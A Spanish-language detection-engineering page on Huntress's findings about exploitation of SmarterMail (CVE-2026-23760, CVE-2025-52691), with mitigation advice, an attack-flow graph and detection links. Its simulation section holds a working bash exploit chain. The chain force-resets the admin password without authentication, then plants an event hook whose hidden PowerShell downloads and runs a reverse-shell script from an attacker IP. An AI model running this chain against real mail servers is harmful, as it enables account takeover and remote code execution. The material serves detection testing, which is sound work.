DE&TH a las Vulnerabilidades: Huntress Detecta Toma de Cuenta de SmarterMail que Conduce a Ejecución Remota de Código
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Huntress observó abuso en la naturaleza de dos fallos de SmarterMail que permiten la toma de control de cuentas privilegiadas y, en última instancia, la ejecución remota de código. Los atacantes inician flujos de restablecimiento de contraseña no autenticados para obtener un token privilegiado, y luego abusan de los ‘eventos del sistema’ de SmarterMail para ejecutar comandos para el reconocimiento del host. La actividad impactó a múltiples clientes y mostró signos de explotación amplia y automatizada a gran escala.
Investigación
Los analistas de Huntress reconstruyeron una secuencia consistente de solicitudes HTTP POST contra los puntos finales del API de SmarterMail que se utilizan para desencadenar restablecimientos de contraseña, autenticar, configurar eventos del sistema, agregar dominios controlados por atacantes y, más tarde, eliminar rastros. La cadena apunta a CVE-2026-23760 (toma de control de cuenta privilegiada) y CVE-2025-52691 (carga de archivo arbitraria). Las solicitudes usaban comúnmente el agente de usuario python-requests/2.32.4, y los operadores dejaron archivos result.txt que contenían la salida de reconocimiento de los comandos ejecutados.
Mitigación
Actualice SmarterMail a la compilación 9511 o posterior para abordar ambos CVEs. Revise y restrinja la exposición del API, deshabilite o restrinja los eventos del sistema innecesarios, y monitoree la actividad anómala del API que altera cuentas, eventos o dominios. Identifique y elimine cualquier evento del sistema y dominio creado por atacantes para eliminar la persistencia.
Respuesta
Busque el patrón de llamadas API sospechoso y el agente de usuario python-requests/2.32.4, bloquee las IPs de origen ofensivas y elimine los eventos del sistema maliciosos. Rote inmediatamente las credenciales privilegiadas. Realice forense de puntos finales para localizar result.txt y verificar si se prepararon cargas adicionales. Notifique a los usuarios/clientes afectados y proporcione una guía de remediación clara.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef data fill:#e6e6e6 %% Nodes action_exploit_cred[«<b>Acción</b> – <b>T1212 Explotación para Acceso a Credenciales</b><br/>El atacante explota CVE-2026-23760 mediante POST /api/v1/auth/force-reset-password para restablecer una contraseña privilegiada.»] class action_exploit_cred action action_authenticate[«<b>Acción</b> – <b>T1078 Cuentas Válidas</b> & <b>T1134.003 Manipulación de Tokens de Acceso</b><br/>Usando las nuevas credenciales, POST /api/v1/auth/authenticate-user obtiene un token de acceso.»] class action_authenticate action tool_requests[«<b>Herramienta</b> – <b>Nombre</b>: python-requests 2.32.4<br/><b>Propósito</b>: Cliente HTTP utilizado para llamadas a la API»] class tool_requests tool data_token[«<b>Datos</b> – Token de Acceso<br/>Almacenado para interacciones posteriores con la API»] class data_token data action_config_event[«<b>Acción</b> – <b>T1569 Servicios del Sistema</b> & <b>T1574 Secuestro del Flujo de Ejecución</b><br/>POST /api/v1/settings/sysadmin/event-hook crea un evento de sistema malicioso.»] class action_config_event action action_add_domain[«<b>Acción</b> – <b>T1204 Ejecución del Usuario</b><br/>POST /api/v1/settings/sysadmin/domain-put agrega un dominio que activa el evento y ejecuta comandos de reconocimiento.»] class action_add_domain action data_result[«<b>Datos</b> – result.txt<br/>Archivo creado en C:\\Program Files (x86)\\SmarterTools\\SmarterMail\\Service\\wwwroot\\result.txt»] class data_result data action_cleanup[«<b>Acción</b> – Pasos de limpieza<br/>POST /api/v1/settings/sysadmin/domain-delete y event-hook-delete para eliminar artefactos.»] class action_cleanup action action_remove_logs[«<b>Acción</b> – <b>T1070.001 Borrado de Registros de Eventos de Windows</b>»] class action_remove_logs action action_file_deletion[«<b>Acción</b> – <b>T1070.004 Eliminación de Archivos</b><br/>Elimina result.txt y archivos relacionados.»] class action_file_deletion action action_clear_persistence[«<b>Acción</b> – <b>T1070.009 Eliminación de Persistencia</b>»] class action_clear_persistence action %% Connections action_exploit_cred –>|usa| tool_requests action_exploit_cred –>|conduce_a| action_authenticate action_authenticate –>|produce| data_token data_token –>|usado_por| action_config_event action_config_event –>|crea| action_add_domain action_add_domain –>|escribe| data_result action_add_domain –>|activa| action_cleanup action_cleanup –>|incluye| action_remove_logs action_cleanup –>|incluye| action_file_deletion action_cleanup –>|incluye| action_clear_persistence
Flujo de Ataque
Detecciones
Posible intento de explotación de CVE-2026-23760 (SmarterMail) a través del servidor web
Ver
IOCs (DestinoIP) para detectar: DE&TH a Vulnerabilidades: Huntress Detecta Control de Cuenta SmarterMail que Lleva a RCE Parte 2
Ver
IOCs (DestinoIP) para detectar: DE&TH a Vulnerabilidades: Huntress Detecta Control de Cuenta SmarterMail que Lleva a RCE Parte 1
Ver
IOCs (OrigenIP) para detectar: DE&TH a Vulnerabilidades: Huntress Detecta Control de Cuenta SmarterMail que Lleva a RCE Parte 1
Ver
IOCs (OrigenIP) para detectar: DE&TH a Vulnerabilidades: Huntress Detecta Control de Cuenta SmarterMail que Lleva a RCE Parte 2
Ver
Control de Cuenta SmarterMail que Lleva a RCE [Servidor Web]
Ver
Ejecución de Simulación
Requisito previo: El chequeo pre-vuelo de Telemetría y Línea Base debe haber pasado.
Narrativa de Ataque y Comandos
- Reconocimiento: El atacante descubre que la instancia de SmarterMail ejecuta una versión vulnerable a CVE‑2026‑23760.
- Forzar Restablecimiento de Contraseña (T1098): Usando el
punto final de restablecimiento de contraseña forzadopara establecer una contraseña conocida para elcuenta de administradorprivilegiada. - Autenticar (T1078): Inicie sesión con las credenciales recién establecidas a través del
punto final de autenticar-usuarioobteniendo un token de sesión. - Desplegar Hook de Evento Malicioso (T1569): POST un payload JSON elaborado a
event-hookque apunta a una shell inversa de PowerShell alojada en el servidor del atacante. - Ejecutar Ok/Ok ejecutar: El hook de evento corre automáticamente en el servidor web, generando una shell inversa para el atacante.
- Limpieza: Elimine el hook malicioso a través del
punto final de eliminación de hook de evento(excluido de la detección).
Todos los pasos generan eventos HTTP POST que coinciden con los criterios de selección de la regla Sigma. selección
Script de Prueba de Regresión
#!/usr/bin/env bash
# -------------------------------------------------
# Simulación de Control de Cuenta SmarterMail & RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. Forzar restablecimiento de contraseña (no autenticado)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. Autenticar y capturar token de sesión
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}"
| jq -r '.sessionToken')
# 3. Desplegar hook de evento malicioso (RCE)
PAYLOAD=$(cat <<EOF
{
"event":"mail-received",
"command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook"
-H "Content-Type: application/json"
-H "Authorization: Bearer ${TOKEN}"
-d "${PAYLOAD}"
echo "[+] Hook de evento malicioso desplegado. Esperando shell inversa..."
# 4. (Opcional) Esperar shell inversa – el atacante ejecuta el oyente por separado:
# nc -lvnp ${ATTACKER_PORT}
# 5. Limpieza – eliminar el hook (excluido de la detección)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
Comandos de Limpieza
#!/usr/bin/env bash
# Eliminar cualquier hook malicioso residual y restablecer la contraseña del administrador
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# Autenticar con la contraseña segura (si se conoce) o usar el token anterior
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}"
| jq -r '.sessionToken')
# Eliminar el hook de evento malicioso (si aún está presente)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
# Restablecer la contraseña del administrador a un valor conocido
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"